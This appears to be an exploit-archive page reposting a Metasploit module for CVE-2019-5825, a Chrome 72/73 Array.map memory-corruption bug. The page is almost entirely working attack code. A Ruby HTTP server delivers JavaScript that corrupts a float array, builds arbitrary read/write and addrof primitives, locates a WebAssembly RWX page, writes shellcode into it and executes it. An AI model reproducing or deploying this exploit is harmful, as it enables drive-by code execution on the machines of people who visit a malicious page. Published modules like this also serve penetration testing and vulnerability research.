Google Chrome 72 / 73 Array.map Corruption

2020.03.08
Credit: timwr
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 72 and 73 Array.map exploit', 'Description' => %q{ This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'dmxcsnsbh', # discovery 'István Kurucsai', # exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5825'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'], ['URL', 'https://github.com/exodusintel/Chromium-941743'], ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'], ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows','osx'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 7 2019')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.encoded) jscript = %Q^ // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } // ******************* // Exploit starts here // ******************* // This call ensures that TurboFan won't inline array constructors. Array(2**30); // we are aiming for the following object layout // [output of Array.map][packed float array][typed array][Object] // First the length of the packed float array is corrupted via the original vulnerability, // then the float array can be used to modify the backing store of the typed array, thus achieving AARW. // The Object at the end is used to implement addrof // offset of the length field of the float array from the map output const float_array_len_offset = 23; // offset of the length field of the typed array const tarray_elements_len_offset = 24; // offset of the address pointer of the typed array const tarray_elements_addr_offset = tarray_elements_len_offset + 1; const obj_prop_b_offset = 33; // Set up a fast holey smi array, and generate optimized code. let a = [1, 2, ,,, 3]; let cnt = 0; var tarray; var float_array; var obj; function mapping(a) { function cb(elem, idx) { if (idx == 0) { float_array = [0.1, 0.2]; tarray = new BigUint64Array(2); tarray[0] = 0x41414141n; tarray[1] = 0x42424242n; obj = {'a': 0x31323334, 'b': 1}; obj['b'] = obj; } if (idx > float_array_len_offset) { // minimize the corruption for stability throw "stop"; } return idx; } return a.map(cb); } function get_rw() { for (let i = 0; i < 10 ** 5; i++) { mapping(a); } // Now lengthen the array, but ensure that it points to a non-dictionary // backing store. a.length = (32 * 1024 * 1024)-1; a.fill(1, float_array_len_offset, float_array_len_offset+1); a.fill(1, float_array_len_offset+2); a.push(2); a.length += 500; // Now, the non-inlined array constructor should produce an array with // dictionary elements: causing a crash. cnt = 1; try { mapping(a); } catch(e) { // relative RW from the float array from this point on let sane = sanity_check() print('sanity_check == ', sane); print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16)); print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16)); print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16)); let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n; print('original elements addr: ' + original_elements_ptr.toString(16)); print('original elements value: ' + read8(original_elements_ptr).toString(16)); print('addrof(Object): ' + addrof(Object).toString(16)); } } function sanity_check() { success = true; success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141; success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242; success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000; return success; } function read8(addr) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); let result = tarray[0]; float_array[tarray_elements_len_offset+1] = original; return result; } function write8(addr, val) { let original = float_array[tarray_elements_len_offset+1]; float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f(); tarray[0] = val; float_array[tarray_elements_len_offset+1] = original; } function addrof(o) { obj['b'] = o; return float_array[obj_prop_b_offset].f2i(); } var wfunc = null; var shellcode = unescape("#{escaped_payload}"); function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } function rce() { let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1n; print('wasm: ' + wasm_func_addr); if (wasm_func_addr == 2) { print('Failed, retrying...'); location.reload(); return; } let sfi = read8(wasm_func_addr + 12n*2n) - 1n; print('sfi: ' + sfi.toString(16)); let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n; print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16)); let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n; print('instance: ' + instance.toString(16)); //let rwx_addr = read8(instance + 0x108n); let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86 //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100 //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84 print('rwx: ' + rwx_addr.toString(16)); // write the shellcode to the RWX page if (shellcode.length % 2 != 0) { shellcode += "\u9090"; } for (let i = 0; i < shellcode.length; i += 2) { write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000)); } // invoke the shellcode wfunc(); } function exploit() { print("Exploiting..."); get_rw(); rce(); } exploit(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top